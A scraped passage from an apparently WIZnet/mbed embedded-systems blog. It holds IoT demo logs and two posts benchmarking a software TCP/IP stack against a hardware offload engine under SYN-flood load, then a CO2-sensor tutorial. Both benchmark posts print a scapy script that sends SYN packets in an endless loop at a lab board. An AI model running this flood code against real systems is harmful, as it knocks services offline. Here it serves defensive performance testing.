Received 36 chars from server:
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.29
Received 36 chars from server:
HTTP/1.1 200
Content-Length: 0
</code></pre>"> Connected to COM42.
initializing Ethernet
- Ethernet ready
Ethernet.connecting
- connecting returned 0
Trying to get IP address..
- IP address:192.168.13.53 //&lt;--- DHCP IP address
Sending Value for well1 0.00 //&lt;--- Potentiometer value
Received 36 chars from server: //sending message
HTTP/1.1 200
Content-Lengtved 36 chars from server:
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.14 //&lt;--- Potentiometer value
Received 36 chars from server: //sending message
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.27
Received 36 chars from server:
HTTP/1.1 200
Content-Length: 0
Sending Value for well1 0.29
Received 36 chars from server:
HTTP/1.1 200
Content-Length: 0
</code></pre></li>
<li><p>Axeda Developer Toolbox<br>Your mbed board is now connected to your Axeda Toolbox account.<br>Open up the mbed Widget by proceeding to your dashboard from the staging page.</p>
</li>
</ul><p><img src="https://c1.staticflickr.com/9/8593/16711714061_c246ec7c83.jpg" alt="mbed LPC1114FN28"></p><p>In Data Items, it is able to displays to Potentiometer values from LPC1114FN24 + WIZ550io with graphic line.<br><img src="https://c1.staticflickr.com/9/8662/16525590910_3f7ac02757.jpg" alt="mbed LPC1114FN28"></p><h6 id="comparison-of-mbed-lpc1768-and-mbed-lpc1114fn28-for-axeda"><a name="comparison-of-mbed-lpc1768-and-mbed-lpc1114fn28-for-axeda" href="#comparison-of-mbed-lpc1768-and-mbed-lpc1114fn28-for-axeda"></a>Comparison of mbed LPC1768 and mbed LPC1114FN28 for Axeda</h6><table>
<thead>
<tr>
<th></th>
<th>mbed LPC1768 (lwIP)</th>
<th>mbed LPC1114FN28 (WIZ550io)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Codes</td>
<td><img src="https://c1.staticflickr.com/9/8643/16090674934_49e5b6f746.jpg" alt=" sw stack codes"></td>
<td><img src="https://c1.staticflickr.com/9/8643/16090674934_49e5b6f746.jpg" alt="TOE codes"></td>
</tr>
<tr>
<td>Memory usage</td>
<td><img src="https://c1.staticflickr.com/9/8562/16093050093_4957cf2465.jpg" alt="sw memory usage"></td>
<td><img src="https://c1.staticflickr.com/9/8652/16526871549_4050fd4416_m.jpg" alt="sw memory usage"></td>
</tr>
</tbody>
</table><p>In casd of mbed LPC1768, the code size for Axeda is more than double the size of the Flash memory of the LPC1114 to 66.8kB. On the other hand, memory usage of LPC1114FN28 + WIZ550io is 65% (20.8kB).</p><h6 id="get-codes"><a name="get-codes" href="#get-codes"></a>Get Codes</h6><p><a href="http://developer.mbed.org/users/embeddist/code/AxedaGo-mbedNXP_WIZ550io/"></a><a href="http://developer.mbed.org/users/embeddist/code/AxedaGo-mbedNXP_WIZ550io/">http://developer.mbed.org/users/embeddist/code/AxedaGo-mbedNXP_WIZ550io/</a></p>
<footer style="position:fixed; font-size:.8em; text-align:right; bottom:0px; margin-left:-25px; height:20px; width:100%;">generated by <a href="http://pad.haroopress.com" target="_blank">haroopad</a></footer>
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- embeddist_main_Blog1_300x250_as -->
<ins class="adsbygoogle"
style="display:inline-block;width:300px;height:250px"
data-ad-client="ca-pub-2487516203666708"
data-ad-slot="7712704279"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-19522546025855442742015-02-16T20:26:00.000-08:002015-03-12T17:12:33.023-07:00Firewall SoC with TCP/IP Offload Engine for Internet of Things <p>There is no doubt that the number of IoTs will increase explosively. </p><p>><a href="http://www.gartner.com/newsroom/id/2905717">Gartner, Inc. forecasts that 4.9 billion connected things will be in use in 2015, up 30 percent from 2014, and will reach 25 billion by 2020.</a></p><p>As the IoT device continues to increase, IoT devices will be faced with the network flooding attack, such as DDoS, more frequently. However, because of its capacity of memory and MCU, nearly most IoT devices are very vulnerable to heavy network attacks and traffisc. </p><p>Weakness of these IoT device must be a great opportunity to TOE-embedded MCU, W7500. While TOE under Network attack is to reduce the MCU and memory resources of IoT device, because it is possible to protect the System of IoT device.</p><h4 id="what-is-firewall-tcp/ip-offload-engine-for-iot?"><a name="what-is-firewall-tcp/ip-offload-engine-for-iot?" href="#what-is-firewall-tcp/ip-offload-engine-for-iot?"></a>What is Firewall TCP/IP offload Engine for IoT?</h4><h6 id="software-tcp/ip-stack"><a name="software-tcp/ip-stack" href="#software-tcp/ip-stack"></a>Software TCP/IP stack</h6><p>First, let’s examine the Software TCP/IP stack. </p><p>Software TCP/IP stack implemented on host system requires more capacity of extra memory and extra processing power for network communications. Normally, ARM Cortex-M core copies data from Ethernet MAC buffer to memory, analyze the received packets in memory using the software stack and then executes an appropriate process. </p><p><img src="https://c2.staticflickr.com/8/7353/16557527265_2572ed5eef.jpg" alt="Software TCP/IP Stack" style="width:50%;height:auto;"> </p><p>If network flooding attack has occurres, Cortex-M will repeatedly excute process in order to process flooding packets. Therefor, excessive number of TCP requests such as SYN-flooding attacks will overload the IoT device.</p><h6 id="hardware-tcp/ip-toe"><a name="hardware-tcp/ip-toe" href="#hardware-tcp/ip-toe"></a>Hardware TCP/IP TOE</h6><p><img src="https://c2.staticflickr.com/8/7409/16371235539_29ce2f3dc5.jpg" alt="Hardware TCP/IP TOE" style="width:90%;height:auto;"> </p><p>On the other hand, the hardware TCP/IP TOE, which is implemented as Hardwired logic from Ethernet MAC Layer to TCP/IP Layer, is able to protect IoT system against network attack under excessive number of flooding packet by making discard flooding packets detected. </p><h4 id="**comparison-of-software-tcp/ip-stack-and-hardware-tcp/ip-toe-under-the-network-attack-such-as-ddos.**"><a name="**comparison-of-software-tcp/ip-stack-and-hardware-tcp/ip-toe-under-the-network-attack-such-as-ddos.**" href="#**comparison-of-software-tcp/ip-stack-and-hardware-tcp/ip-toe-under-the-network-attack-such-as-ddos.**"></a><strong>Comparison of Software TCP/IP stack and Hardware TCP/IP TOE under the Network attack such as DDoS.</strong></h4><p><img src="https://c1.staticflickr.com/9/8671/16531504556_3d5dea3537.jpg" alt="Hardware TCP/IP SoC" style="width:80%;height:auto;"></p><p>This means that Cortex-M does not have to handle the flooding packet even under Network attack. Further, because the TCP / IP stack processing is performed in TOE, it is possible to save the amount of memory for TCP/IP communications.</p><p>These TOE features are not to limited to the Network attack, it is also possible to expect the same performance under heavy network traffic. </p><p>We compared the network performance of software TCP/IP stack and Hardware TCP/IP TOE under DoS Attack (Syn-flood attack).</p><h6 id="comparison-of-software-and-hardware-tcp/ip-system"><a name="comparison-of-software-and-hardware-tcp/ip-system" href="#comparison-of-software-and-hardware-tcp/ip-system"></a>Comparison of Software and Hardware TCP/IP System</h6><table>
<thead>
<tr>
<th></th>
<th>Software TCP/IP</th>
<th>Hardware TCP/IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Platform Pic.</td>
<td><img src="https://c1.staticflickr.com/9/8645/16557527585_bd2ff5477f.jpg" alt="mbed1768" style="width:270px;height:auto;"></td>
<td><img src="https://c1.staticflickr.com/9/8615/16370062640_2691654c27.jpg" alt="W7500_EVB" style="width:250px;height:auto;"></td>
</tr>
<tr>
<td>Platform Name</td>
<td>mbed1768</td>
<td>W7500 EVB</td>
</tr>
<tr>
<td>Max Clock (MHz)</td>
<td>96</td>
<td>48</td>
</tr>
<tr>
<td>Flash (KB)</td>
<td>512</td>
<td>128</td>
</tr>
<tr>
<td>RAM (KB)</td>
<td>64</td>
<td>32</td>
</tr>
<tr>
<td>Use DMA</td>
<td>O</td>
<td>O</td>
</tr>
<tr>
<td>software</td>
<td>RTOS + lwIP</td>
<td>Non-OS + Fireware</td>
</tr>
<tr>
<td>Code size (KB)</td>
<td>Flash:64.5 / RAM:35.2</td>
<td>Flash: 9.09 / RAM: 8.99</td>
</tr>
<tr>
<td>Compiler</td>
<td>Web-compiler (mbed.org)</td>
<td>keil</td>
</tr>
<tr>
<td>Test tools</td>
<td>Iperf.exe, scapy (python)</td>
</tr>
</tbody>
</table><h6 id="**network-configurations-for-network-performancs-tests**"><a name="**network-configurations-for-network-performancs-tests**" href="#**network-configurations-for-network-performancs-tests**"></a><strong>Network configurations for Network Performancs tests</strong></h6><p><img src="https://c2.staticflickr.com/8/7354/16557527495_18eafe48a3.jpg" alt="Network config" style="width:80%;height:auto;"></p><h6 id="**how-to-use-iperf**"><a name="**how-to-use-iperf**" href="#**how-to-use-iperf**"></a><strong>How to use iperf</strong></h6><p>>Iperf is a tool to measure maximum TCP bandwidth, allowing the tuning of various parameters and UDP characteristics. Iperf reports bandwidth, delay jitter, datagram loss. </p><blockquote>
<p><strong><a href="https://iperf.fr/"></a><a href="https://iperf.fr/">https://iperf.fr/</a></strong></p>
<pre><code data-origin="<pre><code># ex.) host IP(192.168.77.34):port[5000], display format is Mbit/sec, interval 1 sec.
iperf.exe -c 192.168.77.34 -p 5000 -f m -i 1
</code></pre>"># ex.) host IP(192.168.77.34):port[5000], display format is Mbit/sec, interval 1 sec.
iperf.exe -c 192.168.77.34 -p 5000 -f m -i 1
</code></pre><ul>
<li>-c : —client <em>host</em>, -c will connect to the host specified. </li>
<li>-p : —port #, the server port for the server to listen.</li>
<li>-f : —format [], ‘m’ = Mbit/sec</li>
<li>-i : —interval #, Sets the interval time in seconds between periodic bandwidth through performance</li>
</ul>
</blockquote><h6 id="**scripts-for-dos-attack-(syn-flood-attack)**"><a name="**scripts-for-dos-attack-(syn-flood-attack)**" href="#**scripts-for-dos-attack-(syn-flood-attack)**"></a><strong>Scripts for DoS Attack (Syn-flood attack)</strong></h6><p>We used the scapy (python library) as DoS Attack.</p><blockquote>
<p>Scapy is a powerful interactive packet manipulation program. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery.<br><a href="http://www.secdev.org/projects/scapy/"></a><a href="http://www.secdev.org/projects/scapy/">http://www.secdev.org/projects/scapy/</a></p>
</blockquote><pre><code class="python hljs" data-origin="<pre><code class="python">from scapy.all import
inter = input('inter(time in seconds to wait between 2packets) :')
def synFlood(src, tgt, inter):
IPlayer = IP(src, dst=tgt)
TCPlayer= TCP(sport=3000, dport=3000) # as your env. change source and destination port
pkt = IPlayer / TCPlayer
send(pkt, loop=1, inter=inter) #
#send(pkts, inter=0, loop=0, verbose=None)
# Send packets at layer 3, using the conf.L3socket supersocket. pkts can
# be a packet, an implicit packet or a list of them.
# loop: send the packets endlessly if not 0.
# inter: time in seconds to wait between 2 packets
# verbose: override the level of verbosity. Make the function totally silent when 0.
# * Refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf for more detail.
# as your env. change to real IP address and so on.
src = "192.168.77.253" # PC IP address
tgt = "192.168.77.34" # target board
synFlood(src, tgt, inter)
</code></pre>"><span class="hljs-keyword">from</span> scapy.all <span class="hljs-keyword">import</span>
inter = input(<span class="hljs-string">'inter(time in seconds to wait between 2packets) :'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">synFlood</span><span class="hljs-params">(src, tgt, inter)</span>:</span>
IPlayer = IP(src, dst=tgt)
TCPlayer= TCP(sport=<span class="hljs-number">3000</span>, dport=<span class="hljs-number">3000</span>) <span class="hljs-comment"># as your env. change source and destination port</span>
pkt = IPlayer / TCPlayer
send(pkt, loop=<span class="hljs-number">1</span>, inter=inter) <span class="hljs-comment">#</span>
<span class="hljs-comment">#send(pkts, inter=0, loop=0, verbose=None)</span>
<span class="hljs-comment"># Send packets at layer 3, using the conf.L3socket supersocket. pkts can</span>
<span class="hljs-comment"># be a packet, an implicit packet or a list of them.</span>
<span class="hljs-comment"># loop: send the packets endlessly if not 0.</span>
<span class="hljs-comment"># inter: time in seconds to wait between 2 packets</span>
<span class="hljs-comment"># verbose: override the level of verbosity. Make the function totally silent when 0.</span>
<span class="hljs-comment"># * Refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf for more detail.</span>
<span class="hljs-comment"># as your env. change to real IP address and so on.</span>
src = <span class="hljs-string">"192.168.77.253"</span> <span class="hljs-comment"># PC IP address</span>
tgt = <span class="hljs-string">"192.168.77.34"</span> <span class="hljs-comment"># target board</span>
synFlood(src, tgt, inter)
</code></pre><h4 id="network-performance"><a name="network-performance" href="#network-performance"></a>Network performance</h4><p><img src="https://c1.staticflickr.com/9/8567/16369855688_6d21e89298.jpg" alt="Network_performance" style="width:80%;height:auto;"></p><p>It is possible to prove that the network performance of Hardware TCP/IP TOE is better and more stable than software TCP/IP stack under SYN flood attack. In particular, when interval is 0.001sec., the network performance of TOE is 9 times better than the software TCP/IP stack even though the platform embedded software TCP/IP stack is better than TOE platform.</p><p>It is confirmed that the Hardware TCP/IP TOE is able to maintain the network performance even if SYN-flood attack is increased. Otherwise, it is possible to observe that the network performance of software TCP/IP stack became extremely worse according to the interval of SYN-attack.</p>
<footer style="position:fixed; font-size:.8em; text-align:right; bottom:0px; margin-left:-25px; height:20px; width:100%;">generated by <a href="http://pad.haroopress.com" target="_blank">haroopad</a></footer>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com4tag:blogger.com,1999:blog-143079075104332374.post-81660620169325761442015-02-03T18:16:00.000-08:002015-03-12T16:46:41.873-07:00Firewall for Internet of Things<h2>Intro</h2><br/><br/><ul><br/><li><a href="http://www.digitalattackmap.com/understanding-ddos/">What is a ddos attack ?</a></li><br/><li><a href="http://www.forbes.com/sites/davelewis/2015/01/29/ddos-attacks-continue-to-rise/">DDoS Attacks Continue to Rise</a></li><br/><li><a href="http://www.out-law.com/en/articles/2014/october/internet-of-things-devices-could-be-used-to-support-ddos-attacks/">Internet of things devices could be used to support DDoS attacks</a></li><br/></ul><br/><br/>** What is a <em>firewall</em> for IoT ?**<br/>- We will compare the traditional method and the proposed method under DoS Attack (SYN-flood attack).<br/><br/><h4>IoT Platform: <em>mbed NXP LPC1768</em></h4><br/><br/><img src="http://developer.mbed.org/media/img/boardlogos/lpc1768/400xNxpinout.png.pagespeed.ic.SXf15haHY6.jpg" alt="mbed LPC1768" /><br/><br/><blockquote><br/> It is based on the NXP LPC1768, with a 32-bit ARM Cortex-M3 core running at 96MHz. It includes 512KB FLASH, 32KB RAM and lots of interfaces including <strong>built-in Ethernet</strong>, USB Host and Device, CAN, SPI, I2C, ADC, DAC, PWM and other I/O interfaces. The pinout above shows the commonly used interfaces and their locations. Note that all the numbered pins (p5-p30) can also be used as DigitalIn and DigitalOut interfaces.<br/> - Link1: <a href="http://developer.mbed.org/platforms/mbed-LPC1768/">For more detail</a><br/></blockquote><br/><br/><h4>Traditional method: LwIP (TCP/IP software stack) + Ethernet MAC (LPC1768) + Ethernet PHY (DP83848J)@mbed application board (Ethernet connector)</h4><br/><br/><img src="http://developer.mbed.org/media/uploads/chris/xapp_board_front_small_map1.png.pagespeed.ic.YiEqKsL82J.jpg" alt="mbed application board" /><br/>* Feature list<br/> * 128x32 Graphics LCD<br/> * 5 way joystick<br/> * 2 x Potentiometers<br/> * 3.5mm Audio jack (Analog Out)<br/> * Speaker, PWM connected<br/> * 3 Axis /1 1.5g Accelerometer<br/> * 3.5mm Audio jack (Analog In)<br/> * 2x Servo motor headers<br/> * RGB LED, PWM connected<br/> * USB-mini-B Connector<br/> * Temperature sensor<br/> * Socket for for Xbee (Zigbee) or RN-XV (Wifi)<br/> * <strong>RJ45 Ethernet Connector</strong><br/> * USB-A Connector<br/> * 1.3mm DC Jack input<br/><br/><ul><br/><li>Link2: <a href="http://developer.mbed.org/components/mbed-Application-Board/">mbed application board in mbed.org</a></li><br/></ul><br/><br/><h4>Proposed method: WIZ550io (TOE + Ethernet MAC + Ethernet PHY)</h4><br/><br/><img src="http://developer.mbed.org/media/components/pinouts/wiz550io_pinout_rev1.1_20140206.jpg" alt="WIZ550io" /><br/>- Link3: <a href="http://developer.mbed.org/components/WIZ550io/">WIZ550io components in mbed.org</a><br/>- Link4: <a href="http://developer.mbed.org/components/W5500/">W5500 components in mbed.org</a><br/><br/><h3>Application for iperf</h3><br/><br/><h4>Recv only code for Software stack</h4><br/><br/><ul><br/><li>fixed an echo server on mbed.</li><br/></ul><br/><br/>[code lang=cpp]<br/>#include "mbed.h"<br/>#include "EthernetInterface.h"<br/><br/>EthernetInterface eth;<br/>int main() <br/>{<br/> printf("Trying rn");<br/> // as your env. change to real IP address and so on.<br/> int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1"); <br/><br/> if (!ret) {<br/> printf("Initialized, MAC: %snr", eth.getMACAddress());<br/> printf("Connected, IP: %s, MASK: %s, GW: %snr",<br/> eth.getIPAddress(), eth.getNetworkMask(), eth.getGateway());<br/> } else {<br/> printf("Error eth.init() - ret = %dnr", ret);<br/> return -1;<br/> }<br/><br/> eth.connect();<br/> printf("IP Address is %sn", eth.getIPAddress());<br/><br/> TCPSocketServer server;<br/> server.bind(5000);<br/> server.listen();<br/><br/> while (true) {<br/> printf("nWait for new connection...n");<br/> TCPSocketConnection client;<br/> server.accept(client);<br/> client.set_blocking(false, 1500); // Timeout after (1.5)s<br/><br/> printf("Connection from: %sn", client.get_address());<br/><br/> char buffer[2048];<br/> while (true) {<br/> int n = client.receive(buffer, sizeof(buffer));<br/><br/> if (n < 0) break; // !_is_connected<br/><br/> }<br/> client.close();<br/> }<br/>}<br/>[/code]<br/><br/><h4>Recv only code for TOE</h4><br/><br/>[code lang=cpp]<br/>#include <stdio.h><br/>#include <string.h><br/>#include "mbed.h"<br/>#include "EthernetInterface.h"<br/><br/><br/>//DigitalOut myled(LED1);<br/>//Serial pc(USBTX , USBRX);<br/>int main() {<br/><br/> printf("Test - WIZ550iorn");<br/><br/> /** Set the spi bus clock frequency<br/> *<br/> * @param hz SCLK frequency in hz (default = 1MHz)<br/> * Maximum SPI data bit rate of 12.5 Mbit/s in LPC176X<br/> */<br/> spi.frequency(12500000); <br/> SPI spi(p5, p6, p7); // mosi, miso, sclk<br/> EthernetInterface eth(&spi, p8, p11); // spi, cs, reset<br/><br/> // as your env. change to real IP address and so on.<br/> int ret = eth.init("192.168.77.34", "255.255.255.0", "192.168.77.1"); <br/> if (!ret) {<br/> printf("Initialized, MAC: %snr", eth.getMACAddress());<br/> printf("Connected, IP: %s, MASK: %s, GW: %snr",<br/> eth.getIPAddress(), eth.getNetworkMask(), eth.getGateway());<br/> } else {<br/> printf("Error eth.init() - ret = %dnr", ret);<br/> return -1;<br/> }<br/><br/> printf("IP Address is %sn", eth.getIPAddress());<br/><br/> TCPSocketServer server;<br/> server.bind(5000);<br/> server.listen();<br/><br/> while (true) {<br/> printf("nWait for new connection...n");<br/> TCPSocketConnection client;<br/> server.accept(client);<br/> client.set_blocking(false, 1500); // Timeout after (1.5)s<br/><br/> printf("Connection from: %sn", client.get_address());<br/><br/> char buffer[2048];<br/> while (true) {<br/> int n = client.receive(buffer, sizeof(buffer));<br/><br/> if (n < 0) break; // !_is_connected<br/> }<br/> client.close();<br/> }<br/>}<br/>[/code]<br/><br/><h3>Comparison of memory Size</h3><br/><br/><table><br/><thead><br/><tr><br/> <th></th><br/> <th>Software stack</th><br/> <th>TOE (W5500)</th><br/></tr><br/></thead><br/><tbody><br/><tr><br/> <td>Codes</td><br/> <td><img src="https://c2.staticflickr.com/8/7378/16253556697_bba92c19f4.jpg" alt=" sw stack codes" /></td><br/> <td><img src="https://c2.staticflickr.com/8/7420/16438525792_0ffe41ed75.jpg" alt="TOE codes" /></td><br/></tr><br/><tr><br/> <td>Memory usage</td><br/> <td><img src="https://c2.staticflickr.com/8/7340/16251807118_f28c379704.jpg" alt="sw memory usage" /></td><br/> <td><img src="https://c2.staticflickr.com/8/7424/16413494576_e42f24f771.jpg" alt="sw memory usage" /></td><br/></tr><br/></tbody><br/></table><br/><br/><blockquote><br/> 35.2kB(110%) : The LPC1768 has 3 RAM banks: One general purpose one of 32kB, and two additional ones of 16kB each for Ethernet/USB/CAN purposes. Ethernet completely fills one of those additional banks. The online compiler does take this into account for the total RAM usage, but assumes only 32kB is available, so it gets over the 100% what it displays, still will work fine though. (from mbed.org: http://developer.mbed.org/questions/3579/mbed-LPC-1768-RAM-Usage-128-what-does-th/)<br/></blockquote><br/><br/>** TOE can reduce the flash and RAM usage of by 7% and 119% respectively. **<br/><br/><h3>DoS Attack (Syn-flood attack)</h3><br/><br/>We used the scapy based on python library for DoS Attack.<br/><br/>[code lang=python]<br/>from scapy.all import<br/><br/>inter = input('inter(time in seconds to wait between 2packets) :')<br/><br/>def synFlood(src, tgt, inter):<br/> IPlayer = IP(src, dst=tgt)<br/> TCPlayer= TCP(sport=3000, dport=3000) # as your env. change source and destination port<br/> pkt = IPlayer / TCPlayer<br/> send(pkt, loop=1, inter=inter) #<br/><br/>#send(pkts, inter=0, loop=0, verbose=None)<br/># Send packets at layer 3, using the conf.L3socket supersocket. pkts can<br/># be a packet, an implicit packet or a list of them.<br/>#<br/># loop: send the packets endlessly if not 0.<br/># inter: time in seconds to wait between 2 packets<br/># verbose: override the level of verbosity. Make the function totally silent when 0.<br/># * Refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf for more detail.<br/><br/><br/># as your env. change to real IP address and so on.<br/>src = "192.168.77.253" # PC IP address<br/>tgt = "192.168.77.34" # target board (LPC1768)<br/><br/>synFlood(src, tgt, inter)<br/>[/code]<br/><br/><h3>How to use iperf</h3><br/><br/><blockquote><br/> Iperf is a tool to measure maximum TCP bandwidth, allowing the tuning of various parameters and UDP characteristics. Iperf reports bandwidth, delay jitter, datagram loss<br/></blockquote><br/><br/><ul><br/><li><strong><a href="https://iperf.fr/">https://iperf.fr/</a></strong></li><br/></ul><br/><br/>[code lang=text]<br/># ex.) host IP(192.168.77.34):port[5000], display format is Mbit/sec, interval 1 sec.<br/>>iperf.exe -c 192.168.77.34 -p 5000 -f m -i 1<br/>[/code]<br/><br/><ul><br/><li>-c : --client <em>host</em>, -c will connect to the host specified. </li><br/><li>-p : --port #, the server port for the server to listen.</li><br/><li>-f : --format [], 'm' = Mbit/sec</li><br/><li>-i : --interval #, Sets the interval time in seconds between periodic bandwidth<br/>Through performance</li><br/></ul><br/><br/><h2>Network Configuration</h2><br/><br/><ul><br/><li>**Fig. Network configurations to measure performance **<br/><img src="https://c1.staticflickr.com/9/8659/16252112920_db91410283.jpg" alt="SW Bandwidth" /> </li><br/></ul><br/><br/><h2>Network performance</h2><br/><br/><ul><br/><li><strong>Fig. Traditional method: lwIP performance according to traffic of SYN packet</strong><br/><img src="https://c2.staticflickr.com/8/7364/16253610777_bb43c48be0.jpg" alt="SW Bandwidth" /></p></li><br/><li><p><strong>Fig. Proposed method: TOE(W5500) performance according to traffic of SYN packet.</strong><br/><img src="https://c2.staticflickr.com/8/7311/16251855618_e1692244d4.jpg" alt="TOE(W5500) Bandwidth" /></p></li><br/></ul><br/><br/><p>**The network performance of traditional method is better the proposed method when DoS attack is weak. Because, the traditional method used the bus-interface for MAC. (The proposed method doesn't used spi-dma.)<br/>However, The proposed method kept up the network performance under SYN-flood attack. <br/>Otherwise, the network performance of the traditional method is became extremely worse according to the interval of SYN-attack.<br/>**Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com2tag:blogger.com,1999:blog-143079075104332374.post-53804250782959470742014-12-22T02:30:00.000-08:002015-03-12T16:46:41.850-07:00An Simple IoT example - connected CO2 Sensor with WIZ550S2E<img src="http://i.imgur.com/qKv4huk.png" alt="WIZ5500S2E and S-300" /><br/><br/>This IoT example shows how to connect CO2 sensor to your ethernet network, and how to send sensing data by using Serial-to-Ethernet gateway module as UDP client. Using S-to-E gatewat module, your device does not need any additional codes and hardware requried.<br/><br/>In this example, WIZ550S2E-232 as a S-to-E module and S-300 as a CO2 sonsor module are used.<br/><br/><ul><br/><li>WIZ550S2E-232: This module is a gateway module that converts RS-232 protocol into TCP/IP protocol and enables remote gauging, remote management of the device through the network based on the Ethernet and the TCP/IP by connecting to existing equipment with RS-232 serial interface.</p></li><br/><li><p>S-300: This SO2 (Carbon Dioxide) sensor module designed by ELT (http://eltsensor.co.kr/) and has available output with TTL-UART for sampling interval of about 3 seconds .</p></li><br/></ul><br/><br/><h2>Block Diagram and Network Configurations</h2><br/><br/><ul><br/><li><p>This figure is shown the block diagram and network configurations for this project.<br/><br/><ul><br/><li>IoT Sensor Node is made up as follows<br/><br/><ul><br/><li>S-to-E : WIZ550S2E-232</li><br/><li>CO2 Sonsor : S-300</li><br/><li>UDP Client embedded on S-to-E</li><br/></ul></li><br/><li>Monitoring Server is composed as follows<br/><br/><ul><br/><li>UDP server : Hercules (TCP/IP utils) on PC</li><br/></ul></li><br/></ul><br/><br/><img src="http://i.imgur.com/ctN2Gwt.png" alt="Diagram" /></p></li><br/><li><p>Serial-to-Ethernet Module : <a href="http://wizwiki.net/wiki/doku.php?id=products:wiz550s2e:start">WIZ550S2E-232</a><br/><br/><img src="http://i.imgur.com/yWnkDyI.png" alt="WIZ550S2E-232" height="30%" width="30%"><br/><br/><ul><br/><li>Gateway module that converts RS-232 protocol into TCP/IP protocol</li><br/><li>Serial to Ethernet Module based on W5500 & Cortex-M0</li><br/><li>RJ-45 mounted, Pin-header type module</li><br/><li>Serial signals : TXD, RXD, RTS, CTS, GND</li><br/><li>Support the configuration method of AT command & Configuration tool program</li><br/><li>Configuration tool program operates on Windows, Linux & MAC OS</li><br/><li>Support the interface board for RS-232 and RS422/485</li><br/><li>10/100Mbps Ethernet & Max.230kbps serial speed</li><br/><li>Support WIZ VSP (Virtual Serial Port) program</li><br/><li>Dimension (mm) : 55(L) x 30 (W) x 23.49 (H)</li><br/></ul></li><br/><li>Co2 Sensor: ELT Sensor : <a href="http://tccelt.co.kr/2012/eng/product/co2-sensor-module-S300.html">S-300</a><br/><br/><img src="http://i.imgur.com/uRja54M.png" alt="S-300" height="20%" width="20%"><br/><br/><ul><br/><li>Non-Dispersive Infrared (NDIR) technology used to measure CO₂levels.</li><br/><li>Pre-calibrated</li><br/><li>Available outputs : TTL-UART, I2C, ALARM, PWM/Analog Voltage.</li><br/><li>Gold-plated sensor provides long-term calibration stability.</li><br/><li>Installed re-calibration function</li><br/><li>Operate as ACDL mode (Automatic Calibration in Dimming Light mode).</li><br/><li>Manual Re-Calibration function is executable.</li><br/><li>ROHS Directive- 2011/65/EU,[EN50581 : 2012,IEC 62321-3-1 : 2013]</li><br/><li>Size : 33mmx33mmx13.1mm</li><br/><li>Weight : 10 grams</li><br/></ul></li><br/></ul><br/><br/><h2>Hardware connections</h2><br/><br/>Three lines as below the may be connected for Sensor node.<br/>The TXD in S-300 and RXD in WIZ550S2E should be connected together.<br/><br/><table><br/><thead><br/><tr><br/> <th>WIZ550S2E</th><br/> <th>Direction</th><br/> <th>S-300 JIG</th><br/></tr><br/></thead><br/><tbody><br/><tr><br/> <td>RXD</td><br/> <td><---</td><br/> <td>TXD</td><br/></tr><br/><tr><br/> <td>VCC(baseboard)</td><br/> <td><---</td><br/> <td>VCC (5V)</td><br/></tr><br/><tr><br/> <td>GND</td><br/> <td></td><br/> <td>GND</td><br/></tr><br/></tbody><br/></table><br/><br/><ul><br/><li>WIZ550S2E<br/><br/><img src="http://i.imgur.com/caJ6S1i.png" alt="WIZ550S2E Pin Maps" height="50%" width="50%"></p></li><br/><li><p>S-300 JIG<br/><br/><img src="http://i.imgur.com/uRGvWcQ.png" alt="JIG S-300 Pin Maps" height="60%" width="60%"></p></li><br/></ul><br/><br/><h2>Software</h2><br/><br/><ul><br/><li><p>WIZ550S2E Side: Sensor Node<br/><br/><ul><br/><li><strong>wiznet_configuration_tool</strong> is dedicated utility to configure the WIZ550S2E.</li><br/><li><strong>WIZ550 Configruation T</strong>ool Download : <a href="http://wizwiki.net/wiki/lib/exe/fetch.php?media=products:wiz550s2e:wiznet_configuration_tool_ver1.02.zip">wiznet_configuration_tool_ver1.02.zip</a></li><br/><li><strong>WIZ550 Configruation Tool User Guide</strong> : <a href="http://wiznetacademy.com/?p=512">WIZ550 Configruation Tool Guides</a></li><br/></ul><br/><br/><img src="http://i.imgur.com/Dfwc30J.png" alt="WIZ550S2E Configuration" height="50%" width="50%"></p></li><br/><li><p>PC tools: Monitoring Server<br/><br/><ul><br/><li><strong>Herdules</strong><br/><br/><blockquote><br/> > Hercules SETUP utility is useful serial port terminal (RS-485 or RS-232 terminal) , UDP/IP terminal and TCP/IP Client Server terminal. It was created for HW group internal use only, but today it's includes many functions in one utility and it's Freeware! With our original devices (Serial/Ethernet Converter, RS-232/Ethernet Buffer or I/O Controller) it can be used for the UDP Config.<br/></blockquote></li><br/><li><strong>Hercules</strong> download : <a href="http://new.hwg.cz/files/download/sw/version/hercules_3-2-8.exe">version3.2.8</a></p></li><br/><li><strong>Hercules user guide</strong> : <a href="http://www.hw-group.com/products/hercules/index_en.html">User Guide</a></li><br/></ul><br/><br/><p><img src="http://www.hw-group.com/products/hercules/images/Hercules_multi_250.jpg" alt="Hercules" height="30%" width="30%"></p></li><br/></ul><br/><br/><h2>Setting</h2><br/><br/><ul><br/><li><p>WIZ550S3E Side: Sensor Node<br/><img src="http://i.imgur.com/8WRjH6o.png" alt="Setting of WIZ550S2E Configuration" height="10%" width="100%"><br/><br/><ul><br/><li>Refer to <strong>User Guide</strong> for more details<br/><br/><ul><br/><li><a href="http://wizwiki.net/wiki/doku.php?id=products:wiz550s2e:wiz550s2epg_kr">Korean- user guide</a></li><br/><li><a href="http://wizwiki.net/wiki/doku.php?id=products:wiz550s2e:wiz550s2epg_en">English- user guide</a></li><br/></ul></li><br/></ul></li><br/><li>PC tools: Monitoring Server<br/><img src="http://i.imgur.com/QbHgr4K.png" alt="UDP setting in Hercules" height="100%" 